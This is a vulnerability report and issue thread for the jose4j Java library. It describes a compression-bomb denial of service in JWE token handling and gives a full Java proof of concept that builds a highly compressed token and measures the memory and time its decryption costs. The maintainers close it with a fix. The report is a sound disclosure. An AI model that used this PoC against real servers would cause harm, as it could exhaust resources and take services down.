- edited description
[Vuln] ZIP bomb Attack
0x01 Affected version
vendor: https://bitbucket.org/b_c/jose4j/
version: Versions prior to v0.9.5 are vulnerable.
0x02 What kind of vulnerability is it? Who is impacted?
This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.
0x03 Vulnerability details
The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:
import io.jsonwebtoken.Jwts;
import org.jose4j.jwa.AlgorithmConstraints;
import org.jose4j.jwe.ContentEncryptionAlgorithmIdentifiers;
import org.jose4j.jwe.JsonWebEncryption;
import org.jose4j.jwe.KeyManagementAlgorithmIdentifiers;
import org.jose4j.jwk.JsonWebKey;
import javax.crypto.SecretKey;
import java.io.*;
import java.lang.management.ManagementFactory;
import java.lang.management.MemoryMXBean;
import java.lang.management.MemoryUsage;
public class jwt {
public static void GenerateCompress()throws Exception {
String message = "a".repeat(100000000);
String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
JsonWebEncryption senderJwe = new JsonWebEncryption();
senderJwe.setPlaintext(message);
senderJwe.setAlgorithmHeaderValue(KeyManagementAlgorithmIdentifiers.A128GCMKW);
senderJwe.setEncryptionMethodHeaderParameter(ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
senderJwe.setKey(jwk.getKey());
senderJwe.setCompressionAlgorithmHeaderParameter("DEF");
String compactSerialization = senderJwe.getCompactSerialization();
File file = new File("./compress.txt");
FileWriter fileWriter = new FileWriter(file);
BufferedWriter writer = new BufferedWriter(fileWriter);
writer.write(compactSerialization);
writer.close();
}
public static void GenerateUncompress()throws Exception {
String message = "a".repeat(100000);
String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
JsonWebEncryption senderJwe = new JsonWebEncryption();
senderJwe.setPlaintext(message);
senderJwe.setAlgorithmHeaderValue(KeyManagementAlgorithmIdentifiers.A128GCMKW);
senderJwe.setEncryptionMethodHeaderParameter(ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
senderJwe.setKey(jwk.getKey());
String compactSerialization = senderJwe.getCompactSerialization();
File file = new File("./uncompress.txt");
FileWriter fileWriter = new FileWriter(file);
BufferedWriter writer = new BufferedWriter(fileWriter);
writer.write(compactSerialization);
writer.close();
}
public static void TestCompress()throws Exception{
String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
File file = new File("./compress.txt");
FileReader fileReader = new FileReader(file);
BufferedReader reader = new BufferedReader(fileReader);
String tmp;
StringBuilder content = new StringBuilder();
while ((tmp = reader.readLine()) != null) {
content.append(tmp).append("\n");
}
String jwe = content.toString();
reader.close();
MemoryMXBean memoryBean = ManagementFactory.getMemoryMXBean();
memoryBean.setVerbose(true);
long startTime = System.currentTimeMillis();
JsonWebEncryption receiverJwe = new JsonWebEncryption();
JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
AlgorithmConstraints algConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, KeyManagementAlgorithmIdentifiers.A128GCMKW);
receiverJwe.setAlgorithmConstraints(algConstraints);
AlgorithmConstraints encConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
receiverJwe.setContentEncryptionAlgorithmConstraints(encConstraints);
receiverJwe.setCompactSerialization(jwe);
receiverJwe.setKey(jwk.getKey());
String plaintext = receiverJwe.getPlaintextString();
long endTime = System.currentTimeMillis();
long totalTime = endTime - startTime;
System.out.println("length:" + jwe.length());
System.out.println("totalTime:" + totalTime + "ms");
MemoryUsage heapMemoryUsage = memoryBean.getHeapMemoryUsage();
MemoryUsage nonHeapMemoryUsage = memoryBean.getNonHeapMemoryUsage();
long usedHeapMemory = heapMemoryUsage.getUsed();
long maxHeapMemory = heapMemoryUsage.getMax();
long usedNonHeapMemory = nonHeapMemoryUsage.getUsed();
long maxNonHeapMemory = nonHeapMemoryUsage.getMax();
System.out.println("Heap Memory Usage (used/max): " + usedHeapMemory + "/" + maxHeapMemory);
System.out.println("Non-Heap Memory Usage (used/max): " + usedNonHeapMemory + "/" + maxNonHeapMemory);
}
public static void TestUnCompress()throws Exception{
String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
File file = new File("./uncompress.txt");
FileReader fileReader = new FileReader(file);
BufferedReader reader = new BufferedReader(fileReader);
String tmp;
StringBuilder content = new StringBuilder();
while ((tmp = reader.readLine()) != null) {
content.append(tmp).append("\n");
}
reader.close();
String jwe = content.toString();
MemoryMXBean memoryBean = ManagementFactory.getMemoryMXBean();
memoryBean.setVerbose(true);
long startTime = System.currentTimeMillis();
JsonWebEncryption receiverJwe = new JsonWebEncryption();
JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
AlgorithmConstraints algConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, KeyManagementAlgorithmIdentifiers.A128GCMKW);
receiverJwe.setAlgorithmConstraints(algConstraints);
AlgorithmConstraints encConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
receiverJwe.setContentEncryptionAlgorithmConstraints(encConstraints);
receiverJwe.setCompactSerialization(jwe);
receiverJwe.setKey(jwk.getKey());
String plaintext = receiverJwe.getPlaintextString();
long endTime = System.currentTimeMillis();
long totalTime = endTime - startTime;
System.out.println("length:" + jwe.length());
System.out.println("totalTime:" + totalTime + "ms");
MemoryUsage heapMemoryUsage = memoryBean.getHeapMemoryUsage();
MemoryUsage nonHeapMemoryUsage = memoryBean.getNonHeapMemoryUsage();
long usedHeapMemory = heapMemoryUsage.getUsed();
long maxHeapMemory = heapMemoryUsage.getMax();
long usedNonHeapMemory = nonHeapMemoryUsage.getUsed();
long maxNonHeapMemory = nonHeapMemoryUsage.getMax();
System.out.println("Heap Memory Usage (used/max): " + usedHeapMemory + "/" + maxHeapMemory);
System.out.println("Non-Heap Memory Usage (used/max): " + usedNonHeapMemory + "/" + maxNonHeapMemory);
}
public static void main(String[] args)throws Exception
{
// GenerateCompress();
// GenerateUncompress();
TestCompress();
// TestUnCompress();
}
}
This vulnerability is demonstrated by comparing the processing times and memory usage of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.
0x04 Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.
0x05 References
[1] CVE-2024-21319
Comments (6)
-
reporter -
reporter - edited description
-
repo owner Jesse, thanks for raising this and for the detailed explanation and demonstration. I’ll endeavor to get it addressed soon.
-
repo owner - changed status to open
-
repo owner - changed status to resolved
Safeguard against excessive resource utilization by restricting the size of data during JWE payload decompression (fix
#220)→ <<cset 19a90a64c47b>>
-
repo owner - changed status to closed
v 0.9.6 has the fix for this
- Log in to comment